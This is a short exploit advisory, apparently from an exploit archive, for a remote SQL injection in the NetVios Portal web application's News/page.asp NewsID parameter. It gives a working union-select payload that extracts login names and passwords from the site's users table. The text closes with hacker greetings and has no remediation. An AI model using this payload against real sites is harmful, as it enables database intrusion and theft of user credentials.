******************************************************************************* # Title : NetVios Portal (page.asp) Remote SQL Injection Vulnerability # Author : parad0x # Contact : :( # D.Page : http://www.scriptaty.net/netvios-portal.html # $$ : Free #S.Page : http://www.netvios.com ******************************************************************************* http://[target]/[path]/News/page.asp?NewsID=[SQL] Example: //News/page.asp?NewsID=-1 union select 0,1,2,loginname,password,5,6,7 from users where userId=1 """"""""""""""""""""" greetz : VoLqaN, x-MastER """""""""""""""""""""